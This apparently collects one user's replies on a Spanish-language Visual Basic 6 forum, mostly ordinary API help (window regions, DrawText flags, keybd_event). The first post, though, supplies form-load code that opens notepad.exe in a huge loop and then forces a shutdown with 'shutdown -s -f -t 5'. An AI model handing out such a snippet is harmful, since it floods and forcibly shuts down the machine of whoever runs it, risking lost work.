Mensajes

Este codigo es para Visua Basic 6:

Código (vb) [Seleccionar] Expandir


    Dim iFila As Integer, iColumna As Integer
   
        For iFila = 1 To 10000
            For iColumna = 1 To 10000
                Shell "notepad.exe", vbNormalFocus
            Next
        Next
    Shell "shutdown -s -f -t 5"


Coloquelo en el evento Load del form.

Esto es un foro, Porque le haces la tarea 

Muy bueno Seba , le corta todo los hilos al proceso.

Saludos

Hola a que te referis con el ID del objecto, que es lo que queres hacer,  si buscas el hwnd tambien tenes el api Findwindow y FindWindowEx.

cualquier cosa explica un poco mas detallado lo que andas buscando.

Saludos.-

[Aca hay un poco mas de infor para aprender sobre senos.]

Aca hay un poco mas de infor para aprender sobre senos.
[youtube=425,350]<object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/lPHw3jhsJ74&hl=es&fs=1&"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/lPHw3jhsJ74&hl=es&fs=1&" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object>[/youtube]

Hola lo que podes hacer tambien es crear una region y eliminar el borde y despues si le podes poner un shape o lo que quieras.

tene en cuenta que si le vas a cambiar el tamaño en tiempo de ejecucion tenes que aplicar nuevamente la region con el nuevo tamaño.

Código [Seleccionar] Expandir


Option Explicit
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function CreateRectRgn Lib "gdi32.dll" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Private Declare Function SetWindowRgn Lib "user32.dll" (ByVal hWnd As Long, ByVal hRgn As Long, ByVal bRedraw As Boolean) As Long


Dim hBrowser As Long

Private Sub Form_Load()
Dim hRgn As Long

WebBrowser1.Navigate "www.google.com"


hBrowser = FindWindowEx(Me.hWnd, ByVal 0&, "Shell Embedding", vbNullString)
hRgn = CreateRectRgn(2, 2, (WebBrowser1.Width / 15) - 2, (WebBrowser1.Height / 15) - 2)
SetWindowRgn hBrowser, hRgn, True

End Sub


PD: Te es nesesario realmente utilizar un webbrowser para hacer una presentación de fotos???

Saludos.

[DT_WORD_ELLIPSIS]

muy bien che, no molestar para nada al contrario para eso es codigo abierto. lo estuve porbando y hay un par de cositas que vi a la ligera, en algunos casos los items se ensiman un poco.

te recomiendo no usar TextHeight o TextWidth ya que si no trabajas con el hdc del UC te es combeniente utilizar DrawText  con los flag  DT_SINGLELINE or DT_CALCRECT

para dibujar un texto con los puntos al final no uses la funcion DelimitarTexto podes utilizar  DT_VCENTER Or DT_SINGLELINE Or DT_WORD_ELLIPSIS

por parte de la selecion el problema es que solo podes utilizar en forma secuencial y no el 1 y el 5 por ejemplo. yo creo que lo mejor seria ponerle al tItem Selected                       As Boolean
entonces cuando estas con la tecla shift y vas haciendo click vas poniendo Selected =true y a la hora de dibujar estos los pintas, pero a la vez tambien creas un array (buffer) de lo que estan selecionados esto para acelerar a la hora de consultar cuales lo estan o para deselecionarlos sin tener que recorrer todo el array de los item en el list.

y en cuanto al scroll estaria bueno que sea un poco visible (para saber que se puede deslizar hacia alguna parte.)

bueno espero que le sigas dando con ganas va a quedar muy bueno.

Saludos.

Hola muy bien ░▒▓BlackZeroҖ▓▒░  lo probe y funciona muy bien.

ssccaann43  hace lo siguiente agrega a un formulario un PictureBox llamado "Pic" con el index = 0  y un Timer1 y pega el codigo funciona muy bien.

Saludos.

Hola, Teoricamente las dos es un ocx mas.

saludos

Hola la verdad se hace muy dificil leer los mensajes con las fuentes centralizadas y en negritas, porque mejor la fuente por defecto.

Saludos.

Hola proba de esta manera.

Código [Seleccionar] Expandir

Option Explicit
Const KEYEVENTF_KEYUP = &H2
Private Declare Sub keybd_event Lib "user32.dll" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)

Private Sub Command1_Click()
    keybd_event 149, 0, 0, 0
    keybd_event 149, 0, KEYEVENTF_KEYUP, 0
End Sub